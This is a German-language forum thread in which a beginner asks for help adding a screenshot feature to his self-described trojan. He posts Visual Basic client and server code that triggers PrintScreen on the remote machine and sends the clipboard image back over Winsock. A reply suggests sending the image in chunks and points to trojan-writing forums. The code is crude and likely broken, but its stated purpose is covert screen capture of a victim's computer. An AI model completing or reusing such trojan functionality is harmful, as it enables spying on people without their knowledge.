(trojaner) screenshot funktion

[funky-destroy]

hay!
ich möchte gerne in meinen Trojaner eine Screenshot funktion einbauen!
aber irgendwie klappt das nicht!

beim client habe ich folgenen code benutzt


Private Sub Command1_Click()

Dim screen As String
Form1.Win1.SendData "screenshot"

Form1.Win1.GetData screen
Form8.Image1.Picture = screen


End Sub





und beim server diesen:


Private Sub Win1_DataArrival(ByVal bytesTotal As Long)
Win1.GetData Date_Primite
vector = Split(Date_Primite, "|")


Select Case vector(0)

Case "screenshot"

keybd_event &H2C, 0, 0, 0
DoEvents
Image1.Picture = Clipboard.GetData
screen = Image1.Picture
Win1.SendData screen

End Select
End Sub





bin noch nicht so gut in vb,
vieleicht könnt ihr mir ja helfen!!
mfg funky

[sp33dwalker]

so einfach geht das nicht
und was macht das in command1_click? :
Form1.Win1.GetData screen
Form8.Image1.Picture = screen
Du musst das Bild in kleine stücke zerteilen und einzeln senden und beim client fügst du die wieder zusammen,wie das geht erklärt dir opensc.ws,activevb,vbarchiv GOOGLE!

[funky-destroy]

okay werd ma schaun thx ersmal^^
wow cool! wenn ich nach opensc.ws google bekomm ich voll viele vb trojaner forums xDDD
thx

Added after 20 hours 23 minutes:

habs jetz ma auf die art und art und weiße probiert ich bekomme keine Fehlermeldung und es funktioniert auch, kann aber auch sein dass der clipboard text nicht gesendet wird sondern (weil ich mich mit mir selber verbinde ) das bild einfach eingestellt wird, weil beim server dass ja in clipboard geschrieben wird.



hier der code
Client:

bei button screenshot machen:

Private Sub Command1_Click()
Form1.Win1.SendData "screenshot"


bei win1

rivate Sub Win1_DataArrival(ByVal bytesTotal As Long)
Dim screen As String

Form1.Win1.GetData screen
Clipboard.SetText screen
Form8.Image1.Picture = Clipboard.GetData




Server:
Case "screenshot"
Clipboard.Clear
keybd_event &H2C, 0, 0, 0
DoEvents
DoEvents
DoEvents
DoEvents
screen = Clipboard.GetData
Form1.Win1.SendData screen







(als ich nur ein DoEvents geschrieben hab kam Manchmal ne Fehlermeldung, wenn ich nen anderes bild kopiert hab)


könnt ihr mir sagen, ob dass funktioniert???

mfg funky